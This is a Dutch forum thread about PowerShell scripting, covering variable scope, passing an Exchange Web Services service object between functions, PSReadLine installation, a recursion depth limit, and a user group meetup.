[ Voor 6% gewijzigd door YellowOnline op 18-12-2015 12:50 ]


Acties:
  • 0 Henk 'm!

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Verwijderd schreef op vrijdag 18 december 2015 @ 08:05:
Die globaal had script moeten zijn. Goed ik ben me nu bewust dat ik eigenlijk geen powershell functies moet gebruiken op de manier zoals ik dat doe.

Dus daar zal ik niet meer doen, al vind ik het van de zotte dat ik sommige stukken code dan dubbel in mijn scripts moet zetten.
De Script scope is al beter maar zodra je uberhaupt een scope aangeeft zou je eigenlijk jezelf de vraag moeten stellen: "Wat is er fout aan mijn script?"
In 99 van de 100 gevallen is het namelijk een workaround voor een slecht gestructureerd script. Dat is niet per definitie verkeerd, maar zou wel altijd iets moeten zijn waar je over nadenkt en bewust voor kiest.

Ik zie trouwens niet waarom je stukken code dubbel in je script zou moeten zetten. Is de versie van YellowOnline dan zoveel langer dan die van jou?
Killah_Priest schreef op vrijdag 18 december 2015 @ 11:25:
Even over de bovenstaande opmerkingen : waarom MOET altijd alles volgens best practice? Als ik even snel een script in elkaar zet voor eenmalig gebruik dan ga ik ECHT niet alles in try/catch blokken gooien, scopes van de variables en functies goedzetten etc.
Als je een robuust script moet maken welke gescheduled wordt en iedere dag in productie draait : Ja, dan hou ik mij ook aan de best practices, maar de dingen die ik even snel in elkaar zet dus echt niet. Zolang het werkt en ik de verwachte output krijg dan is het voor mij klaar.
Nou, om te beginnen, dit script gaf NIET de verwachte output. Anders had ik de moeite niet genomen om te reageren. En wat is er op tegen om aan te geven hoe het beter kan, als het stuk script de indruk geeft dat de maker daarmee geholpen is.
Als een zin begint met "niet negatief bedoeld" dan is het ALTIJD negatief bedoeld.
Als ik een zin begin met "niet lullig bedoeld" dan bedoel ik het juist WEL lullig, zo simpel is dat.
Ik val je hier overigens niet op aan hoor : ik zeg dingen gewoon zoals ze zijn :)
Misschien zijn die dingen bij jou zo. Niet bij mij. Ik waardeer het dat Stacheldraht zijn code online zet en iets aan het topic probeert bij te dragen, ondanks het risico dat iemand er dan commentaar op gaat leveren, en ik vind het jammer dat ik daar dan een bug in vind.
En wat het verhaal over die functies en variabelen betreft, ik denk echt dat het correct gebruik daarvan hem nog veel voordeel kan opleveren naarmate zijn scripts langer en complexer worden.

Best practices bestaan niet voor niks. Het is in veel gevallen helemaal niet erg om er tegen te zondigen maar blijf daar wel over nadenken.

Acties:
  • 0 Henk 'm!

Verwijderd

downtime schreef op vrijdag 18 december 2015 @ 13:06:
[...]
Ik zie trouwens niet waarom je stukken code dubbel in je script zou moeten zetten. Is de versie van YellowOnline dan zoveel langer dan die van jou?
Hij gebruikt daarin ook functies die later in het switch statement terug komen. En je hebt net uitvoerig uitgelegd dat het gebruik daarvan op zo'n manier niet de bedoeling is.
downtime schreef op vrijdag 18 december 2015 @ 13:06:
[...]
Misschien zijn die dingen bij jou zo. Niet bij mij. Ik waardeer het dat Stacheldraht zijn code online zet en iets aan het topic probeert bij te dragen, ondanks het risico dat iemand er dan commentaar op gaat leveren, en ik vind het jammer dat ik daar dan een bug in vind.
En wat het verhaal over die functies en variabelen betreft, ik denk echt dat het correct gebruik daarvan hem nog veel voordeel kan opleveren naarmate zijn scripts langer en complexer worden.

Best practices bestaan niet voor niks. Het is in veel gevallen helemaal niet erg om er tegen te zondigen maar blijf daar wel over nadenken.
Persoonlijk vind punt 4 en punt 5 wel erg muggenziften wat ik daar doe zijn zelfs best practices en dat vind ik jammer. Dat is in mijn ogen hetzelfde als je als punt zou aandragen dat het script niet van commentaar is voorzien. Laat ik het zo zeggen als daar de scripts op beoordeeld worden voel ik er weinig voor om nog iets aan het topic bij te dragen.

Acties:
  • 0 Henk 'm!

  • @r!k
  • Registratie: April 2000
  • Laatst online: 29-09 18:26

@r!k

It is I, Leclerq

YellowOnline schreef op vrijdag 18 december 2015 @ 12:48:
[...]


Error-catching, akkoord, maar de variabel scope is altijd belangrijk, zelfs in een temp knutselwerkje. Anders ben je niet zeker of je verwachte output wel klopt - het kan er goed uitzien maar het niet zijn, tenslotte. Het simpelste voorbeeld dat ik kan bedenken:

Zonder Global Variable
PowerShell:
1
2
3
4
5
6
Function foobar ($x, $y)
    {
    If (!$y) {$z = $x.Length}
    Else {}
    Return $z
    }


Output
code:
1
2
3
PS H:\> foobar yellow
6
PS H:\> foobar yellow online


Met Global Variable
PowerShell:
1
2
3
4
5
6
Function foobar ($x, $y)
    {
    If (!$y) {$global:z = $x.Length}
    Else {}
    Return $z
    }


Output
code:
1
2
3
4
PS H:\> foobar yellow
6
PS H:\> foobar yellow online
6


Stel je dat gecompliceerder voor natuurlijk. In #2 is het niet duidelijk dan dat die output niet klopt door die globale variabele.
Toch even een vraag hoor, waarom gebruik je return ipv write-output?

Met betrekking tot de opemerkingen die over het script hier een aantal posts boven zijn gemaakt. De break bij switch is om te voorkomen dat je meerdere resultaten terug krijgt. Is helemaal niks mis mee. Kijk ook eens hier voor meer uitleg. En dan ongeveer 80% naar beneden scrollen.

[ Voor 14% gewijzigd door @r!k op 18-12-2015 14:26 ]

Een hele rij microsoft certificeringen.


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
@r!k schreef op vrijdag 18 december 2015 @ 14:23:
[...]

Toch even een vraag hoor, waarom gebruik je return ipv write-output?
Persoonlijk ga ik ook altijd voor return ipv write-output in functies (ik ben dit gewend vanuit C#).
Gewoon de variable op een aparte regel zetten in je functie geeft normaal gesproken ook gewoon de output.
Is het btw niet zo dat write-output sowieso default aangeroepen wordt als je niets opgeeft?

Acties:
  • 0 Henk 'm!

  • @r!k
  • Registratie: April 2000
  • Laatst online: 29-09 18:26

@r!k

It is I, Leclerq

Killah_Priest schreef op vrijdag 18 december 2015 @ 14:38:
[...]


Persoonlijk ga ik ook altijd voor return ipv write-output in functies (ik ben dit gewend vanuit C#).
Gewoon de variable op een aparte regel zetten in je functie geeft normaal gesproken ook gewoon de output.
Is het btw niet zo dat write-output sowieso default aangeroepen wordt als je niets opgeeft?
Ik heb voordat ik Powershell gebruikte nooit geprogrammeerd dus heb me altijd afgevraagd waar return nou vandaan komt.

Wat betreft dat standaard gedrag, geen idee eigenlijk, nooit echt bij stilgestaan.

Een hele rij microsoft certificeringen.


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
@r!k schreef op vrijdag 18 december 2015 @ 14:45:
[...]

Ik heb voordat ik Powershell gebruikte nooit geprogrammeerd dus heb me altijd afgevraagd waar return nou vandaan komt.

Wat betreft dat standaard gedrag, geen idee eigenlijk, nooit echt bij stilgestaan.
Ik heb voor PS ook nooit echt geprogrammeerd : in het begin dumpte ik gewoon de variable aan het eind van de functie (wat ook werkt), echter sinds ik ook steeds meer in C# ben gaan doe heb ik mijzelf aangeleerd om return te gebruiken (ook voor de leesbaarheid van de code en om het makkelijker te maken om stukken code tussen C# en PS te porten met minimale aanpassingen)

Acties:
  • 0 Henk 'm!

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Verwijderd schreef op vrijdag 18 december 2015 @ 14:03:
Hij gebruikt daarin ook functies die later in het switch statement terug komen. En je hebt net uitvoerig uitgelegd dat het gebruik daarvan op zo'n manier niet de bedoeling is.
Kun je uitleggen wat hij fout doet? Want zijn functies zijn zoals ze bedoeld zijn, namelijk zelfstandige stukjes code met een expliciete declaratie van input en output. Ze zijn vanuit het script aan te roepen maar zijn ook vrij eenvoudig eruit te lichten en in andere scripts te hergebruiken.
Persoonlijk vind punt 4 en punt 5 wel erg muggenziften wat ik daar doe zijn zelfs best practices en dat vind ik jammer. Dat is in mijn ogen hetzelfde als je als punt zou aandragen dat het script niet van commentaar is voorzien. Laat ik het zo zeggen als daar de scripts op beoordeeld worden voel ik er weinig voor om nog iets aan het topic bij te dragen.
Je hebt gelijk. Niet voor niks ben ik in de tweede reactie ook niet meer op punt 4 en 5 ingegaan. Als dat voor jou best practice is, vind ik het verder ook prima, het is niet alsof ik zelf nooit iets in een script doe wat eigenlijk niet nodig is.
Killah_Priest schreef op vrijdag 18 december 2015 @ 15:13:
Ik heb voor PS ook nooit echt geprogrammeerd : in het begin dumpte ik gewoon de variable aan het eind van de functie (wat ook werkt), echter sinds ik ook steeds meer in C# ben gaan doe heb ik mijzelf aangeleerd om return te gebruiken (ook voor de leesbaarheid van de code en om het makkelijker te maken om stukken code tussen C# en PS te porten met minimale aanpassingen)
Zelf vind ik de duidelijkheid van het Return statement fijn. Op die manier zie je later in één oogopslag wat die functie terug geeft. Moet je natuurlijk wel zorgen dat die functie ook echt niks anders terug geeft.

Return is strict genomen niet nodig in PS. PS functies werken met een pipeline. Statements geven objecten als output die op de pipeline wordt gezet. Aan het einde van een functie wordt de inhoud van die pipeline terug gegeven aan de aanroepende code, vandaar dat het ook werkt om gewoon je variabele ergens in die functie te zetten. Werkt heel fijn, maar kan ook een bron van lastig te vinden bugs zijn.

Mijn programmeerervaring is wat uitgebreider. Ik heb in de loop der jaren in allerlei talen geprogrammeerd, en heb ook wat formele training gehad, ben dus zeker geen leek, maar zit ook ver van het niveau (en vooral het werktempo) van een (goede) full-time ontwikkelaar.

Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Mag ik hier nog even op inhaken? Ik hergebruik code en deel dit op in functies omdat het originele script nogal chaotisch is. Ik weet dat ik nog verder moet gaan met script- en functieparameters en dergelijke maar dit is een eerste stap. Waar ik nu tegenaan loop is dat ik de $service variabele uit de eerste functie wil kunnen gebruiken in de tweede functie. Nu weet ik dat ik $service een global variabele kan maken maar begrijp uit de bovenstaande discussie dat dit niet de bedoeling is. Hoe doe ik dit dan wel?

De code:
PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
## EWS Managed API Connect Script
## Requires the EWS Managed API 2.2 and Powershell V2.0 or greator  
# Sources:
# http://gsexdev.blogspot.nl/2012/01/ews-managed-api-and-powershell-how-to.html
# http://gsexdev.blogspot.nl/2012/01/ews-managed-api-and-powershell-how-to_23.html
# https://msdn.microsoft.com/en-us/library/microsoft.exchange.webservices.data.wellknownfoldername%28v=exchg.80%29.aspx
# Jetze Mellema (jetze@mellema-ict.nl)

## Parameters

# If not connecting with current credentials, use this username and password:
$ConnectWithUPN = "mail@domain.com"
$ConnectWithPW  = "blablabla"

# Current version of the script is designed ot access a single mailbox:
# Mailbox to access:
$MailboxName = "mail@domain.com"

# If not using Autodiscover, connect to this url:
$EWSurl = "https://casservername/ews/exchange.asmx"

# No need to change anything below this line!

Function Create_Exchange_Service_Object
{ 
## Load Managed API dll  
Add-Type -Path "C:\Program Files\Microsoft\Exchange\Web Services\2.2\Microsoft.Exchange.WebServices.dll"  
  
## Set Exchange Version  
$ExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2007_SP3  
  
## Create Exchange Service Object 
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ExchangeVersion)  

#Credentials Option 1 using UPN for the windows Account  
$creds = New-Object System.Net.NetworkCredential($ConnectWithUPN,$ConnectWithPW)   
$service.Credentials = $creds  
  
#Credentials Option 2  
#service.UseDefaultCredentials = $true  
  
## Set the URL of the CAS (Client Access Server) to use two options are availbe to use Autodiscover to find the CAS URL or Hardcode the CAS to use  
  
#CAS URL Option 1 Autodiscover  
$service.AutodiscoverUrl($ConnectWithUPN,{$true})  
"Using CAS Server : " + $Service.url   
   
#CAS URL Option 2 Hardcoded  
#$uri=[system.URI] $EWSurl  
#$service.Url = $uri
  
## Optional section for Exchange Impersonation  
$service.ImpersonatedUserId = new-object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, $ConnectWithUPN)

return $service
}

Function Bind_To_Folder
{
"Processing mailbox: "+ $MailboxName
$folderid = new-object Microsoft.Exchange.WebServices.Data.FolderId([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::SentItems,$MailboxName)   
$TargetFolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$folderid)  
}

## Main script

Create_Exchange_Service_Object

Bind_To_Folder

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Ik heb hier geen Exchange doos staan, dus kan er geen regel van testen, maar ik zou zeggen dat het zo ongeveer zou kunnen:

PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
## EWS Managed API Connect Script
## Requires the EWS Managed API 2.2 and Powershell V2.0 or greator  
# Sources:
# http://gsexdev.blogspot.nl/2012/01/ews-managed-api-and-powershell-how-to.html
# http://gsexdev.blogspot.nl/2012/01/ews-managed-api-and-powershell-how-to_23.html
# https://msdn.microsoft.com/en-us/library/microsoft.exchange.webservices.data.wellknownfoldername%28v=exchg.80%29.aspx
# Jetze Mellema (jetze@mellema-ict.nl)

# Parameters

# If not connecting with current credentials, use this username and password:
$ConnectWithUPN = "mail@domain.com"
$ConnectWithPW  = "blablabla"

# Current version of the script is designed ot access a single mailbox:
# Mailbox to access:
$MailboxName = "mail@domain.com"

# If not using Autodiscover, connect to this url:
$EWSurl = "https://casservername/ews/exchange.asmx"

# No need to change anything below this line!

Function Create_Exchange_Service_Object
{ 
    Param( [String]$UPN, [String]$Password, [String]$ConnectionURL )
    ## Load Managed API dll  
    Add-Type -Path "C:\Program Files\Microsoft\Exchange\Web Services\2.2\Microsoft.Exchange.WebServices.dll"  
      
    ## Set Exchange Version  
    $ExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2007_SP3  
      
    ## Create Exchange Service Object 
    $service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ExchangeVersion)  

    #Credentials Option 1 using UPN for the windows Account  
    $creds = New-Object System.Net.NetworkCredential($UPN,$Password)   
    $service.Credentials = $creds  
      
    #Credentials Option 2  
    #service.UseDefaultCredentials = $true  
      
    ## Set the URL of the CAS (Client Access Server) to use two options are availbe to use Autodiscover to find the CAS URL or Hardcode the CAS to use  
      
    #CAS URL Option 1 Autodiscover  
    $service.AutodiscoverUrl($UPN,{$true})  
    "Using CAS Server : " + $Service.url   
       
    #CAS URL Option 2 Hardcoded  
      
    #$uri=[system.URI] $ConnectionURL
    #$service.Url = $uri
      
    ## Optional section for Exchange Impersonation  

    $service.ImpersonatedUserId = new-object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, $UPN)

    return $service
}

Function Bind_To_Folder
{
    Param( $serviceinstance, $MailBox )
    "Processing mailbox: "+ $Mailbox
    $folderid = new-object Microsoft.Exchange.WebServices.Data.FolderId([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::SentItems,$MailboxName)   
    $TargetFolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($serviceinstance,$folderid)  
}

## Main script

$returnedservice = Create_Exchange_Service_Object -UPN $ConnectWithUPN -Password $ConnectWithPW -ConnectionURL $EWSurl
Bind_To_Folder -serviceinstance $returnedservice -mailbox $MailboxName

Acties:
  • 0 Henk 'm!

  • Meekoh
  • Registratie: April 2005
  • Laatst online: 10:05
Kun je niet gewoon gebruik maken van reference variables?
zie linkje voor uitleg: link

Computer says no


Acties:
  • 0 Henk 'm!

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Meekoh schreef op maandag 21 december 2015 @ 17:52:
Kun je niet gewoon gebruik maken van reference variables?
zie linkje voor uitleg: link
Waarom zou dat in dit geval een goed idee zijn? Scopes zijn niet een probleem wat om een oplossing vraagt, ze zijn juist een heel goed idee. Er zijn zeker toepassingen voor reference variables, maar helaas laat dat artikel daar geen voorbeelden van zien.

Acties:
  • 0 Henk 'm!

  • Meekoh
  • Registratie: April 2005
  • Laatst online: 10:05
downtime schreef op maandag 21 december 2015 @ 18:28:
[...]

Waarom zou dat in dit geval een goed idee zijn? Scopes zijn niet een probleem wat om een oplossing vraagt, ze zijn juist een heel goed idee. Er zijn zeker toepassingen voor reference variables, maar helaas laat dat artikel daar geen voorbeelden van zien.
Omdat je een object definieerd in je hoofd script, deze vul je vervolgens in functie A. om die daarna weer te gebruiken in functie B. Dan zit je ook niet met het heen en weer slingeren van dat object. Zeker in dit geval mooi, omdat je te pas en te onpas naar zo'n exchange object gaat refereren.

Computer says no


Acties:
  • 0 Henk 'm!

  • YellowOnline
  • Registratie: Januari 2005
  • Laatst online: 28-03-2023

YellowOnline

BEATI PAVPERES SPIRITV

Topicstarter
Installeer ik PoSh 5 op mijn scripting server... ben ik teleurgesteld dat ik de Win10 syntax highlighting in mijn console niet heb :(

Acties:
  • 0 Henk 'm!

  • Meekoh
  • Registratie: April 2005
  • Laatst online: 10:05
YellowOnline schreef op vrijdag 08 januari 2016 @ 16:59:
Installeer ik PoSh 5 op mijn scripting server... ben ik teleurgesteld dat ik de Win10 syntax highlighting in mijn console niet heb :(
Vrijdagmiddaghumor:
Have you tried turning it off and on again B)

Computer says no


Acties:
  • 0 Henk 'm!

  • ralpje
  • Registratie: November 2003
  • Laatst online: 15:24

ralpje

Deugpopje

YellowOnline schreef op vrijdag 08 januari 2016 @ 16:59:
Installeer ik PoSh 5 op mijn scripting server... ben ik teleurgesteld dat ik de Win10 syntax highlighting in mijn console niet heb :(
Dat is nog redelijk simpel in PoSH 4: installeer PSGet (https://www.microsoft.com...oad/details.aspx?id=49186) en vervolgens de PSReadline module:

PowerShell:
1
install-module PSReadLine


Daarna simpel met import-module PSReadline starten of natuurlijk gewoon even je profiel aanpassen zodat hij standaard gestart wordt.

In PoSH5 zit PSGet al by default, dus alleen even PSReadline installeren en je bent good to go, zou ik verwachten.

[ Voor 8% gewijzigd door ralpje op 09-01-2016 16:49 ]

Freelance (Microsoft) Cloud Consultant & Microsoft Certified Trainer


Acties:
  • 0 Henk 'm!

  • YellowOnline
  • Registratie: Januari 2005
  • Laatst online: 28-03-2023

YellowOnline

BEATI PAVPERES SPIRITV

Topicstarter
ralpje schreef op zaterdag 09 januari 2016 @ 16:49:
[...]


Dat is nog redelijk simpel in PoSH 4: installeer PSGet (https://www.microsoft.com...oad/details.aspx?id=49186) en vervolgens de PSReadline module:

PowerShell:
1
install-module PSReadLine


Daarna simpel met import-module PSReadline starten of natuurlijk gewoon even je profiel aanpassen zodat hij standaard gestart wordt.

In PoSH5 zit PSGet al by default, dus alleen even PSReadline installeren en je bent good to go, zou ik verwachten.
Hmz. Maandag eens proberen. Klinkt goed in ieder geval, thanks.

Acties:
  • 0 Henk 'm!

  • YellowOnline
  • Registratie: Januari 2005
  • Laatst online: 28-03-2023

YellowOnline

BEATI PAVPERES SPIRITV

Topicstarter
ralpje schreef op zaterdag 09 januari 2016 @ 16:49:
[...]


Dat is nog redelijk simpel in PoSH 4: installeer PSGet (https://www.microsoft.com...oad/details.aspx?id=49186) en vervolgens de PSReadline module:

PowerShell:
1
install-module PSReadLine


Daarna simpel met import-module PSReadline starten of natuurlijk gewoon even je profiel aanpassen zodat hij standaard gestart wordt.

In PoSH5 zit PSGet al by default, dus alleen even PSReadline installeren en je bent good to go, zou ik verwachten.
Heeft perfect gewerkt :Y

Acties:
  • 0 Henk 'm!

  • ralpje
  • Registratie: November 2003
  • Laatst online: 15:24

ralpje

Deugpopje

d:)b

Ik ben toevallig vrijdag bezig geweest om dit te realiseren op een aantal servers, omdat ik merkte dat ik het miste t.o.v. m'n Windows 10 werkplek. Gelijk maar even in het image gestopt dat we standaard gebruiken voor het uitrollen van servers, dus alle nieuwe servers krijgen het nu automatisch mee. :)

Freelance (Microsoft) Cloud Consultant & Microsoft Certified Trainer


Acties:
  • 0 Henk 'm!

  • nagasy
  • Registratie: Mei 2008
  • Laatst online: 29-11-2024

nagasy

Duck Duck Duck Goose

Leuke limiet tegengekomen in PowerShell.
Blijkbaar is PS niet zo'n fan van grote iteraties recursies.

Als je volgende code uitvoert, itereert hij 'slechts' 2636 keer.
Mogelijk kan je dit omzeilen. Maar nog niet onmiddellijk gevonden hoe :+

PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$global:LongestChain = 0

Function Problem-14($collatz){
    $n = $collatz
    $count = 1

    do{
        if($n%2 -eq 0){
            $n/=2
        }
        else{
            $n=(3*$n)+1
        }
        $count+=1
        #write-host "$count`t$n"
    }
    until($n -eq 1)
    if($count -gt $global:LongestChain){
        write-host "$collatz -> `t$count"
        $global:LongestChain = $count
    }
    problem-14($($collatz-1))
}

problem-14(1000000)


Code is trouwens niet optimaal geschreven.
Deze is specifiek geschreven voor projecteuler.net.

Ik ben bezig om elk probleem in powershell te definiëren.

[ Voor 6% gewijzigd door nagasy op 26-01-2016 13:55 ]

Battle.net: NagaByrd#2844


Acties:
  • 0 Henk 'm!

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

nagasy schreef op dinsdag 26 januari 2016 @ 13:41:
Leuke limiet tegengekomen in PowerShell.
Blijkbaar is PS niet zo'n fan van grote iteraties.

Als je volgende code uitvoert, itereert hij 'slechts' 2636 keer.
Mogelijk kan je dit omzeilen. Maar nog niet onmiddellijk gevonden hoe :+
Zo te zien bedoel je recursie? Ik kan me namelijk niet voorstellen dat iteraties al zo snel problemen opleveren.

Acties:
  • 0 Henk 'm!

  • nagasy
  • Registratie: Mei 2008
  • Laatst online: 29-11-2024

nagasy

Duck Duck Duck Goose

downtime schreef op dinsdag 26 januari 2016 @ 13:50:
[...]

Zo te zien bedoel je recursie? Ik kan me namelijk niet voorstellen dat iteraties al zo snel problemen opleveren.
Recursie inderdaad 8)7

Battle.net: NagaByrd#2844


Acties:
  • 0 Henk 'm!

  • punisher007
  • Registratie: Maart 2001
  • Laatst online: 01-10 11:17
Welke versie van PowerShell betreft het trouwens? Misschien dat daar ook nog verschil in zit.

http://blog.bjornhouben.com


  • YellowOnline
  • Registratie: Januari 2005
  • Laatst online: 28-03-2023

YellowOnline

BEATI PAVPERES SPIRITV

Topicstarter
nagasy schreef op dinsdag 26 januari 2016 @ 13:41:
Leuke limiet tegengekomen in PowerShell.
Blijkbaar is PS niet zo'n fan van grote iteraties recursies.

Als je volgende code uitvoert, itereert hij 'slechts' 2636 keer.
Mogelijk kan je dit omzeilen. Maar nog niet onmiddellijk gevonden hoe :+

PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$global:LongestChain = 0

Function Problem-14($collatz){
    $n = $collatz
    $count = 1

    do{
        if($n%2 -eq 0){
            $n/=2
        }
        else{
            $n=(3*$n)+1
        }
        $count+=1
        #write-host "$count`t$n"
    }
    until($n -eq 1)
    if($count -gt $global:LongestChain){
        write-host "$collatz -> `t$count"
        $global:LongestChain = $count
    }
    problem-14($($collatz-1))
}

problem-14(1000000)


Code is trouwens niet optimaal geschreven.
Deze is specifiek geschreven voor projecteuler.net.

Ik ben bezig om elk probleem in powershell te definiëren.
v5 x86:
code:
1
2
3
4
5
6
7
8
9
10000 ->        30
9999 ->         92
9997 ->         180
9897 ->         242
9257 ->         260
6171 ->         262
The script failed due to call depth overflow.
    + CategoryInfo          : InvalidOperation: (0:Int32) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : CallDepthOverflow


v5 x64:
code:
1
2
3
4
5
10000 ->        30
9999 ->         92
9997 ->         180
9897 ->         242
9257 ->         260

  • nagasy
  • Registratie: Mei 2008
  • Laatst online: 29-11-2024

nagasy

Duck Duck Duck Goose

Hmm,

Naar mijn weten draai ik ook de v5 en start ik altijd de x64 om net niet tegen die limieten aan te lopen.
Test eens met parameter 1.000.000. Wat ook de opdracht is voor projecteuler trouwens.

Do..while lukt trouwens wel.

Battle.net: NagaByrd#2844


Acties:
  • +1 Henk 'm!

  • @r!k
  • Registratie: April 2000
  • Laatst online: 29-09 18:26

@r!k

It is I, Leclerq

Voor die tweakers/collega's van tweakers die graag met Powershell werken maar er op de een of andere manier niet aan toe komen. 22 Maart is er weer een nieuwe Dutch Powershell User Group (DuPSuG) bijeenkomst. Deze keer is de gastheer Sogeti nederland en staat de meeting in het teken van beginners en licht ervaren scripters.

Toegang is (zoals tot nu toe altijd) gratis. Locatie, Hotel van der Valk Vianen.

Inschrijven kan via http://www.dupsug.com/201...powershell-for-beginners/

Zelf zal ik een sessie over Powershell en AD verzorgen. Hopelijk tot dan.

Een hele rij microsoft certificeringen.


Acties:
  • 0 Henk 'm!

  • ralpje
  • Registratie: November 2003
  • Laatst online: 15:24

ralpje

Deugpopje

@r!k schreef op maandag 29 februari 2016 @ 14:04:
Inschrijven kan via http://www.dupsug.com/201...powershell-for-beginners/

Zelf zal ik een sessie over Powershell en AD verzorgen. Hopelijk tot dan.
Ik wil wel, maar het is voor beginners :(
Ik zag wel al meer leuke sprekers, misschien toch eens gaan kijken. ;)

[ Voor 55% gewijzigd door ralpje op 29-02-2016 14:39 ]

Freelance (Microsoft) Cloud Consultant & Microsoft Certified Trainer


Acties:
  • 0 Henk 'm!

  • YellowOnline
  • Registratie: Januari 2005
  • Laatst online: 28-03-2023

YellowOnline

BEATI PAVPERES SPIRITV

Topicstarter
@r!k schreef op maandag 29 februari 2016 @ 14:04:
Voor die tweakers/collega's van tweakers die graag met Powershell werken maar er op de een of andere manier niet aan toe komen. 22 Maart is er weer een nieuwe Dutch Powershell User Group (DuPSuG) bijeenkomst. Deze keer is de gastheer Sogeti nederland en staat de meeting in het teken van beginners en licht ervaren scripters.

Toegang is (zoals tot nu toe altijd) gratis. Locatie, Hotel van der Valk Vianen.

Inschrijven kan via http://www.dupsug.com/201...powershell-for-beginners/

Zelf zal ik een sessie over Powershell en AD verzorgen. Hopelijk tot dan.
Mooi hoor. Ik zou zelfs als niet-beginner er op af komen (of een sessie geven over PoSh en ESX! :-)), ware het niet dat al die Tweakers-evenementen zo ontzettend ver weg zijn voor mij :+

Acties:
  • 0 Henk 'm!

  • Craven
  • Registratie: Februari 2007
  • Laatst online: 22:36
Ik heb iets nodig om meerdere (ze roepen elkaar aan) powershell script te visualiseren. Het gaat om een paar 10.000 regels aan code en ik probeer er overzicht/inzicht in te krijgen voor troubleshooting purposes. Heeft iemand hier ervaring mee?

Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Craven schreef op zaterdag 12 maart 2016 @ 20:26:
Ik heb iets nodig om meerdere (ze roepen elkaar aan) powershell script te visualiseren. Het gaat om een paar 10.000 regels aan code en ik probeer er overzicht/inzicht in te krijgen voor troubleshooting purposes. Heeft iemand hier ervaring mee?
Ik zou zeggen : bouw het in powershell.

Wat wil je precies visualiseren? Welk script wat aanroept en wanneer? En op wat voor manier wil je alles gepresenteerd hebben visueel?

Acties:
  • 0 Henk 'm!

  • Squ1zZy
  • Registratie: April 2011
  • Niet online
Craven schreef op zaterdag 12 maart 2016 @ 20:26:
Ik heb iets nodig om meerdere (ze roepen elkaar aan) powershell script te visualiseren. Het gaat om een paar 10.000 regels aan code en ik probeer er overzicht/inzicht in te krijgen voor troubleshooting purposes. Heeft iemand hier ervaring mee?
Progress bar?

https://blogs.technet.mic...o-your-powershell-script/

Je zou de laatste status op kunnen vangen. Als er geen error is ontstaan in de script wat heeft gerunt dan zou je naar de volgende kunnen gaan.

Acties:
  • 0 Henk 'm!

  • Roamor
  • Registratie: Mei 2004
  • Niet online
Sowieso bij elke handeling die je doet een Write-Host of Write-Verbose meegeven, dat scheelt al een hoop. Dan zie je meteen waar je in het script bent, en is uiteindelijk ook voor de eindgebruiker prettig om een idee te krijgen waar het script mee bezig is.

Acties:
  • 0 Henk 'm!

  • Craven
  • Registratie: Februari 2007
  • Laatst online: 22:36
Dat is niet helemaal waar ik naar zocht (progress bar en write-host. Ik zal de case ff schetsen.

We hebben een scripting framework waarmee servers beheerd kunnen worden. Dit is nogal een complex verhaal en ik probeer inzicht te verkrijgen in de algehele implementatie.

Wat ik wil is een grafisch overzicht van de if's, else's e.d. Dus een beslisboom wat, en waarom word afgetrapt. Het liefst een overzicht in iets wat voor visio of mindtree door moet gaan.

[ Voor 4% gewijzigd door Craven op 14-03-2016 09:03 ]


Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Hier even een ander dingetje. Voor een Exchange-omgeving wil ik bepaalde instellingen door kunnen voeren op basis van groepslidmaatschap. Dus klant voegt een AD account toe of verwijdert deze uit een AD group. vervolgens wordt de mailbox instelling aangepast.

In principe zou dat zo kunnen:
code:
1
2
Get-Mailbox -Resultsize Unlimited | Set-CASMailbox -OWAEnabled $false
Get-ADGroupMember OwaEnabled | % { Set-CASMailbox $_.samaccountname -OWAEnabled $true }

Dit is niet ideaal omdat de functionaliteit eerst voor iedereen wordt uitgeschakeld, wat best een paar minuten kan duren.

